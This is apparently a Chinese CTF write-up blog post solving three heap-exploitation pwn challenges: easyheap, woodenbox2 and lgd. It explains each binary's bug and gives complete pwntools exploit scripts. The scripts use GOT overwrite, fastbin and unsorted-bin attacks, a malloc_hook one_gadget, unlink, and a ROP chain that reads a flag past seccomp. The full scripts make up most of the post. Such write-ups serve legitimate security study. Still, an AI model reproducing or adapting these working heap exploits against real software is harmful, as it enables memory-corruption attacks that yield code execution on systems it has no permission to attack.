2020高校战疫 Pwn WP

First Post:

Last Update:

Word Count:
3.9k

Read Time:
22 min

2020高校战疫 Pwn

easyheap

难度

3 / 10

保护

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

概述

没有开启EIP,有四个功能add, delete, edit, exit.

vul

1
2
3
4
5
6
7
8
for ( i = 0; ptr[i]; ++i );
if ( i > 2 )
return puts("Too many items!");
ptr[i] = malloc(0x10uLL); //先开辟头部
puts("How long is this message?");
nbytes = inputNum();
if ( nbytes > 1024 ) //添加的大小大于1024时没有释放所管理的头部chunk
return puts("Too much size!");

这个体的漏洞点在先进行开辟内存, 然后再比较大小.可以,若输入的大小太大, 开辟内存后直接返回

思路

我们先计算开辟的偏移, 那么我们就可以利用用这个漏洞来实现任意地址修改.然后修改free的got表, 改为puts, 然后根据传入atoi函数的got地址, 获取atoi在libc中的地址.获取取之后,通过计算偏移获取system地址, 然后修改atoi的got表为所获得的system地址, 改完之后, 添加传入’/bin/sh’获得shell

堆布局

1
2
3
4
5
6
7
8
9
10
11
12
# use head chunk attack to got table
p = p64(exe.got['free']) + p64(0x10) # 在后面申请的时候大于0x400即可利用利用该地址写入
p += p64(0x0) * 2
p += p64(exe.got['atoi']) + p64(0x10) # 作为泄漏libc
p += p64(0x0) * 2
p += p64(exe.got['atoi']) + p64(0x10) # 作为修改为system 获得shell

ad(0x80, p)
rm(0) # free
ad(0x401, 'C') #idx 0 for add head
ad(0x401, 'C') #idx 1 for attack free got
ad(0x401, 'C') #idx 2 for puts atoi addr and for call sys

泄漏libc

1
2
3
4
5
6
md(1, p64(exe.plt['puts'])[0:6])
# leaking atoi addr in libc
rm(2)
atoi = u64(ru('\x7f')[-5:] + '\x7f\x00\x00')
lib.address = atoi - lib.sym['atoi']
li('libc_base ' + hex(lib.address))

get shell

1
2
3
4
5
ad(0x401, 'C') # for modify atoi addr
# modify atoi got as system addr
md(2, p64(lib.sym['system']))
#get shell
sl('/bin/sh')

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: I0gan

from pwn import *
#from LibcSearcher import LibcSearcher

context.log_level='debug'
#context.terminal = ['konsole', '-x', 'bash', 'c']
#context.terminal = 'konsole'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')

exeFile = 'easyheap'
libFile = '/lib/x86_64-linux-gnu/libc.so.6'
#libFile = './libc.so.6'

remoteIp = "0.0.0.0"
remotePort = 0

LOCAL = 1
LIB = 1

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info(x)
db = lambda : gdb.attach(io)

#--------------------------Func-----------------------------
def ad(size, data):
sla(':', str(1))
sla('?', str(size))
if(size <= 0x400):
sa('?', data)

def rm(idx):
sla(':', str(2))
sla('?', str(idx))

def md(idx, data):
sla(':', str(3))
sla('?', str(idx))
sa('?', data)

def dp(idx):
sla(':', str(4))
sla(':', str(idx))

def q():
sla(':', str(5))

#--------------------------Exploit--------------------------
def exploit():
# use head chunk attack to got table
p = p64(exe.got['free']) + p64(0x10)
p += p64(0x0) * 2
p += p64(exe.got['atoi']) + p64(0x10)
p += p64(0x0) * 2
p += p64(exe.got['atoi']) + p64(0x10)

ad(0x80, p)
rm(0) # free
ad(0x401, 'C') #idx 0 for add head
ad(0x401, 'C') #idx 1 for attack free got
ad(0x401, 'C') #idx 2 for puts atoi addr and for call sys

md(1, p64(exe.plt['puts'])[0:6])
# leaking atoi addr in libc
rm(2)
atoi = u64(ru('\x7f')[-5:] + '\x7f\x00\x00')
lib.address = atoi - lib.sym['atoi']
li('libc_base ' + hex(lib.address))

ad(0x401, 'C') # for modify atoi addr
# modify atoi got as system addr
md(2, p64(lib.sym['system']))
#get shell
sl('/bin/sh')

def finish():
ia()
c()

#--------------------------Main-----------------------------
if __name__ == '__main__':

if LOCAL:
exe = ELF(exeFile)
if LIB:
lib = ELF(libFile)
io = exe.process(env = {"LD_PRELOAD" : libFile})
else:
io = exe.process()

else:
exe = ELF(exeFile)
io = remote(remoteIp, remotePort)
if LIB:
lib = ELF(libFile)

exploit()
finish()

exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#!/usr/bin/env python
#-*- coding:utf-8 -*-

# Author: I0gan
# Team : D0g3

from pwn import *
#from LibcSearcher import LibcSearcher

#context.log_level='debug'
#context.terminal = ['konsole', '-x', 'bash', 'c']

#context(arch = 'i386', os = 'linux', log_level='debug')
context(arch = 'amd64', os = 'linux', log_level='debug')

exeFile = "easyheap"
libFile = "libc.so.6"

remoteIp = "0.0.0.0"
remotePort = 0

LOCAL = 1
LIBC = 1

r = lambda : io.recv()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
pd32 = lambda x : p32(x).decode() #python3 not surport str + bytes
pd64 = lambda x : p64(x).decode()
li = lambda x : log.info(x)
db = lambda : gdb.attach(io)

#--------------------------Func-----------------------------
def ad(size, text):
sa(':', str(1))
sa('?', str(size))
if(size > 0x400):
return
sa('?', text)


def rm(index):
sa(':', str(2))
sa('?', str(index))

def md(index, text):
sa(':', str(3))
sa('?', str(index))
sa('?', text)

def q():
sa(':', str(4))

#--------------------------Exploit--------------------------
def exploit():
pl = p64(exe.got['free']) + p64(0x400) + b'a' * 0x10 + p64(exe.got['atoi'])
ad(0x400, pl) #Add got addr to change it and get atoi addr in libc
rm(0)
ad(0x401, '') #malloc to first ad item
ad(0x401, '')
ad(0x401, '')
md(1, p64(exe.plt['puts'])) #modify free got addr as puts plt addr
rm(2) #to print the got addr atoi func and dec num
rl()
atoi_addr = u64(rl()[0:6] + '\x00\x00')
sys_addr = atoi_addr + lib.sym['system'] - lib.sym['atoi'] #get addr in libc
li('sys addr:' + hex(sys_addr))
md(1, p64(sys_addr)) #modify free got addr as system addr
ad(0x16, '/bin/sh') #set system parameter
rm(2) #exec system

def finish():
ia()
c()

#--------------------------Main-----------------------------
if __name__ == '__main__':

if LOCAL:
exe = ELF(exeFile)
if LIBC:
lib = ELF(libFile)
io = exe.process(env = {"LD_PRELOAD" : libFile})

else:
io = remote(remoteIp, remotePort)
if LIBC:
lib = ELF(libFile)

exploit()
finish()

woodenbox2

难度

5 / 10

保护

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

vul

1
2
3
4
5
6
7
8
9
10
11
if ( qword_2020A8[2 * v2] )
{
printf("Please enter the length of item name:", &buf);
read(0, &nptr, 8uLL);
size = atoi(&nptr);
printf("Please enter the new name of the item:", &nptr);
v3 = read(0, qword_2020A8[2 * v2], size); // 大小没有进行检查, 堆溢出
if ( *((_BYTE *)qword_2020A8[2 * v2] + v3 - 1) == 10 )
*((_BYTE *)qword_2020A8[2 * v2] + v3 - 1) = 0;
*((_DWORD *)&itemlist + 4 * v2) = strlen((const char *)qword_2020A8[2 * v2]);
}

概述

保护全开, 只有四个功能, 添加, 修改, 删除,退出. 退出时有连续释放内存, double free, 是一个典型的house of roman题. 注意的是, 在释放后, 储存指针的数组中的值会往前移动一位.

思路

采用 unsorted bin attack 与 fastbin attack 结合打入IO_2_1_stderr进行泄漏出libc,然后再次利用fastbin attack打入malloc_hook进行one_gadget

利用

堆布局

1
2
3
4
ad(0x68, '0' * 0x68) # c0 i0 用于堆溢出修改chunk 1为 unsorted bin
ad(0x68, '1' * 0x68) # c1 i1 用来进行fake chunk变成 unsoted bin 分割堆块到 chunk2
ad(0x68, '2' * 0x68) # c2 i2 用来进行fastbin attack 的chunk
ad(0x68, '3' * 0x68) # c3 i3 防止堆合并

打入IO_2_1_stderr

1
2
3
4
5
6
7
8
9
10
11
md(0, 0x70, '0' * 0x68 + p64(0xe1)) # 修改chunk 1 为 unsoted bin
rm(1) # 释放 chunk 1
rm(1) # 释放 chunk 2 用于后面的fastbin attack

# 分割unsoted bin chunk 1堆块使 main_arena 信息跑到 chunk 2中
ad(0x38, '6' * 0x38) # c4 i3 in chunk 1
ad(0x28, '6' * 0x28) # c5 i4 in chunk 1

# 通过堆溢出修改chunk 2中的fd为 _IO_2_1_stderr_+157, 几率为 1/16
md(2, 0x32, '5' * 0x28 + p64(0x71) + '\xdd\x25') # c5
ad(0x68, '\x00' * 0x68) # for ajust

泄漏libc

1
2
3
4
5
6
7
8
9
10
11
# 修改_IO_2_1_stderr_结构体泄漏出地址
ad(0x68, '\x00' * 0x33 + p64(0xfbad3c80) + 3 * p64(0) + p8(0))
libc_base = u64(ru('\x7f')[-5:] + '\x7f\x00\x00')
libc_base -= lib.sym['_IO_2_1_stderr_'] + 192
lib.address = libc_base
li('libc_base ' + hex(libc_base))
__malloc_hook = lib.sym['__malloc_hook']
realloc = lib.sym['realloc']
li('__malloc_hook ' + hex(__malloc_hook))
gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = lib.address + gadget[1]

打入malloc_hook

1
2
3
4
5
6
rm(3) #释放掉 chunk 2
#继续使用堆溢出修改chunk 2,再次采用fastbin attack 打入malloc_hook - 0x23处
md(1, 0x38, '5' * 0x28 + p64(0x71) + p64(__malloc_hook - 0x23))
ad(0x68, '\n') #调整
#修改realloc_hook为one_gadget, malloc_hook为realloc_hook调整rsp
ad(0x68, '\x00' * (0x13 - 0x8) + p64(one_gadget) + p64(realloc))

getshell

1
2
3
#get shell
sl('1')
sl('1')

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#!/usr/bin/env python
#-*- coding:utf-8 -*-

# Author: I0gan
# Team : D0g3

from pwn import *
#from LibcSearcher import LibcSearcher

#context.log_level='debug'
#context.terminal = ['konsole', '-x', 'bash', 'c']
#context.terminal = 'konsole'

#context(arch = 'i386', os = 'linux', log_level='debug')
context(arch = 'amd64', os = 'linux', log_level='debug')

exeFile = "./woodenbox2"
#libFile = "./libc.so.6"
libFile = "/lib/x86_64-linux-gnu/libc.so.6"

remoteIp = "0.0.0.0"
remotePort = 0

LOCAL = 1
LIB = 1

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
pd32 = lambda x : p32(x).decode() #python3 not surport str + bytes
pd64 = lambda x : p64(x).decode()
li = lambda x : log.info(x)
db = lambda : gdb.attach(io)

#--------------------------Func-----------------------------
def ad(size, text):
sla('Your choice:', str(1))
sla('name:', str(size))
sa('item:', text)

def md(idx, size, text):
sla('Your choice:', str(2))
sla('item:', str(idx))
sla('name:', str(size))
sa('item:', text)

def rm(idx):
sla('Your choice:', str(3))
sla('item:', str(idx))

def q():
sla('Your choice:', str(4))

#--------------------------Exploit--------------------------
def exploit():

# notice: free() then idx forword 1
ad(0x68, '0' * 0x68) # c0 i0
ad(0x68, '1' * 0x68) # c1 i1
ad(0x68, '2' * 0x68) # c2 i2
ad(0x68, '3' * 0x68) # c3 i3

md(0, 0x70, '0' * 0x68 + p64(0xe1))
rm(1)
rm(1) # chunk 2

#split chunk 1 as two, then main_arena to chunk 2
ad(0x38, '6' * 0x38) # c4 i3 in chunk 1
ad(0x28, '6' * 0x28) # c5 i4 in chunk 1

# leaking
# _IO_2_1_stderr_+157 for fastbin attack
md(2, 0x32, '5' * 0x28 + p64(0x71) + '\xdd\x25') # c5
ad(0x68, '\x00' * 0x68) # for ajust
# 0xfbad1800
ad(0x68, '\x00' * 0x33 + p64(0xfbad3c80) + 3 * p64(0) + p8(0))
libc_base = u64(ru('\x7f')[-5:] + '\x7f\x00\x00')
libc_base -= lib.sym['_IO_2_1_stderr_'] + 192
lib.address = libc_base
li('libc_base ' + hex(libc_base))
__malloc_hook = lib.sym['__malloc_hook']
realloc = lib.sym['realloc']
li('__malloc_hook ' + hex(__malloc_hook))
gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = lib.address + gadget[1]

#md(3, 4, 'AAAA')
rm(3) #rm chunk 2
md(1, 0x38, '5' * 0x28 + p64(0x71) + p64(__malloc_hook - 0x23))
ad(0x68, '\n')
ad(0x68, '\x00' * (0x13 - 0x8) + p64(one_gadget) + p64(realloc))

#get shell
sl('1')
sl('1')

#db()

def finish():
ia()
c()

#--------------------------Main-----------------------------
if __name__ == '__main__':

if LOCAL:
exe = ELF(exeFile)
if LIB:
lib = ELF(libFile)
io = exe.process(env = {"LD_PRELOAD" : libFile})
else:
io = exe.process()

else:
exe = ELF(exeFile)
io = remote(remoteIp, remotePort)
if LIB:
lib = ELF(libFile)

exploit()
finish()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''

gld

难度

6 / 10

保护

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
    Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

logan@LYXF:~/share/lgd$ seccomp-tools dump ./lgd
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x04 0xc000003e if (A != ARCH_X86_64) goto 0006
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x02 0x00 0x40000000 if (A >= 0x40000000) goto 0006
0004: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x06 0x00 0x00 0x00000000 return KILL

简单描述

有5个功能, 添加, 删除, 打印, 修改, 退出.没有开启EIP, 通过检查seccomp-tools检查, 开启了沙箱,不能get shell方式获取flag, 开了一个BCF(虚假控制流)

vul

1
2
3
4
5
6
7
8
9
10
sub_400896(dword_603010, dword_60303C + 1, dword_603040);
}
size = snprintf(byte_6033E0, size, "%s", &unk_603060);//vul: 通过字符长度来重新设置大小
if ( dword_60303C / dword_603010 > 1 )
{
if ( dword_60303C % dword_603010 )
{
if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 )
{
if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 )

若输入的字符长度大于所输入的大小,造成堆溢出.

知识点

unsorted bin split, unlink attack, environ, seccomp, rop

思路

通过unsoted bin 分割堆块溢出libc基址, 使用unsoted bin taack 打入指针数组, 泄漏environ中的stack地址, 劫持修改功能的ret栈地址, 由于开了沙箱, 那就只能通过open, read, puts来获取方式来打印flag了.

利用

堆布局

1
2
3
4
5
sla('name?', 'I0gan')
ad(0x68, 'A' * 0x100) # idx 0 通过溢出修改chunk 1为 small bin
ad(0x68, 'A' * 0x78) # idx 1 为了分割unsoted bin,使 main_arena 到 chunk 2中
ad(0x68, 'A' * 0x78) # idx 2 为了打印 main_arena
ad(0x68, 'A' * 0x78) # idx 3 不让top chunk 合并, 其实不用也行

获取libc

1
2
3
4
5
6
7
8
9
p = 'A' * 0x60
p += p64(0)
p += p64(0xe1)
md(0, p) # 修改 chunk 1为small bin然后释放
rm(1)
ad(0x68, 'A' * 0x78) #分割 chunk 1 (unsoted bin)使main_arena 跑到 chunk 2中
dp(2) # 打印main_arena + 88处地址
lib.address = u64(ru('\x7f')[-5:] + '\x7f\x00\x00') - 0x3c4b20 - 88
li('libc_base ' + hex(lib.address))

unsoted bin attack 掌控管理指针的数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 恢复刚才所使用的small bin 为fast bin
p = 'A' * 0x60
p += p64(0)
p += p64(0x71)
md(0, p)

# unlink attack to list
ad(0x80, 'A') #idx 4
# fake chunk
plist = 0x6032f8 # 管理当前chunk的地址
p = p64(0) # prev_size
p += p64(0x61) # size
p += p64(plist - 0x18) # fd
p += p64(plist - 0x10) # bk
p += p64(0x60) # next_size
p = p.ljust(0x60, '\x00')
p += p64(0x60) # prev_size
p += '\x90' # size
md(3, p)
rm(4) # 合并堆块,触发unlink

获取stack地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# leak stack
'''
in exe
4023b3 : pop rdi ; ret
4023b1 : pop rsi ; pop r15 ; ret
400711 : ret

in libc
0x33544 : pop rax ; ret


read
1 RDI 0x0
2 RSI 0x7fffffffec18 —▸ 0x402327
3 RDX 0x78

'''
pop_rdi = 0x4023b3
pop_rsi_r15 = 0x4023b1
ret = 0x400711
pop_rax = lib.address + 0x33544
pop_rdx = lib.address + 0x1b92

md(3, p64(lib.sym['_environ'])) # 将管理chunk 0的指针改为 libc中的_environ地址
dp(0)
environ = u64(ru('\x7f')[-5:] + '\x7f\x00\x00') # 泄漏stack中的environ地址
li('environ ' + hex(environ))
md_ret = environ - (0xee38 - 0xec18) # 计算 修改功能的ret地址
li('md_ret ' + hex(md_ret))

构造rop链

通过open, read, puts函数实现flag的打印

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
md(3, p64(md_ret))
puts_plt = exe.plt['puts']
# creat rop
flag = md_ret + 0x8 * 19
p = p64(pop_rdi) + p64(flag)
p += p64(pop_rsi_r15) + p64(0) + p64(0)
p += p64(pop_rdx) + p64(0)
p += p64(lib.sym['open']) # 8

# read
p += p64(pop_rdi) + p64(0x3)
p += p64(pop_rsi_r15) + p64(flag) + p64(0)
p += p64(pop_rdx) + p64(0x60)
p += p64(lib.sym['read']) # 8

p += p64(pop_rdi) + p64(flag)
p += p64(lib.sym['puts'])
p += './flag\x00'


sla('>> ', str(4))
sla('?', str(0))
#db()
sa('?', p)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: I0gan

from pwn import *
#from LibcSearcher import LibcSearcher

context.log_level='debug'
#context.terminal = ['konsole', '-x', 'bash', 'c']
#context.terminal = 'konsole'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')

exeFile = 'lgd'
libFile = '/lib/x86_64-linux-gnu/libc.so.6'
#libFile = './libc.so.6'

remoteIp = "0.0.0.0"
remotePort = 0

LOCAL = 1
LIB = 1

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info(x)
db = lambda : gdb.attach(io)

#--------------------------Func-----------------------------
def ad(size, data):
sla('>> ', str(1))
sla('_?', str(size))
sa('no?', data)

def rm(idx):
sla('>> ', str(2))
sla('?', str(idx))

def dp(idx):
sla('>> ', str(3))
sla('?', str(idx))

def md(idx, data):
sla('>> ', str(4))
sla('?', str(idx))
sa('?', data)

def q():
sla('>> ', str(5))

#--------------------------Exploit--------------------------
def exploit():
sla('name?', 'I0gan')
ad(0x68, 'A' * 0x100) # idx 0
ad(0x68, 'A' * 0x78) # idx 1
ad(0x68, 'A' * 0x78) # idx 2
ad(0x68, 'A' * 0x78) # idx 3

p = 'A' * 0x60
p += p64(0)
p += p64(0xe1)
md(0, p)
rm(1)
ad(0x68, 'A' * 0x78)
dp(2)
lib.address = u64(ru('\x7f')[-5:] + '\x7f\x00\x00') - 0x3c4b20 - 88
li('libc_base ' + hex(lib.address))

# recover bin
p = 'A' * 0x60
p += p64(0)
p += p64(0x71)
md(0, p)

# unlink attack to list
ad(0x80, 'A') #idx 4
# fake chunk
plist = 0x6032f8
p = p64(0)
p += p64(0x61)
p += p64(plist - 0x18)
p += p64(plist - 0x10)
p += p64(0x60)
p = p.ljust(0x60, '\x00')
p += p64(0x60)
p += '\x90'
md(3, p)
rm(4)

# leak stack
'''
in exe
4023b3 : pop rdi ; ret
4023b1 : pop rsi ; pop r15 ; ret
400711 : ret

in libc
0x33544 : pop rax ; ret

read
1 RDI 0x0
2 RSI 0x7fffffffec18 —▸ 0x402327
3 RDX 0x78

'''
pop_rdi = 0x4023b3
pop_rsi_r15 = 0x4023b1
ret = 0x400711
pop_rax = lib.address + 0x33544
pop_rdx = lib.address + 0x1b92

md(3, p64(lib.sym['_environ']))
dp(0)
environ = u64(ru('\x7f')[-5:] + '\x7f\x00\x00')
li('environ ' + hex(environ))
md_ret = environ - (0xee38 - 0xec18)
li('md_ret ' + hex(md_ret))

md(3, p64(md_ret))
puts_plt = exe.plt['puts']
# creat rop
flag = md_ret + 0x8 * 19
p = p64(pop_rdi) + p64(flag)
p += p64(pop_rsi_r15) + p64(0) + p64(0)
p += p64(pop_rdx) + p64(0)
p += p64(lib.sym['open']) # 8

# read
p += p64(pop_rdi) + p64(0x3)
p += p64(pop_rsi_r15) + p64(flag) + p64(0)
p += p64(pop_rdx) + p64(0x60)
p += p64(lib.sym['read']) # 8

p += p64(pop_rdi) + p64(flag)
p += p64(lib.sym['puts'])
p += './flag\x00'


sla('>> ', str(4))
sla('?', str(0))
#db()
sa('?', p)


def finish():
ia()
c()

#--------------------------Main-----------------------------
if __name__ == '__main__':

if LOCAL:
exe = ELF(exeFile)
if LIB:
lib = ELF(libFile)
io = exe.process(env = {"LD_PRELOAD" : libFile})
else:
io = exe.process()

else:
exe = ELF(exeFile)
io = remote(remoteIp, remotePort)
if LIB:
lib = ELF(libFile)

exploit()
finish()
打赏点小钱
支付宝 | Alipay
微信 | WeChat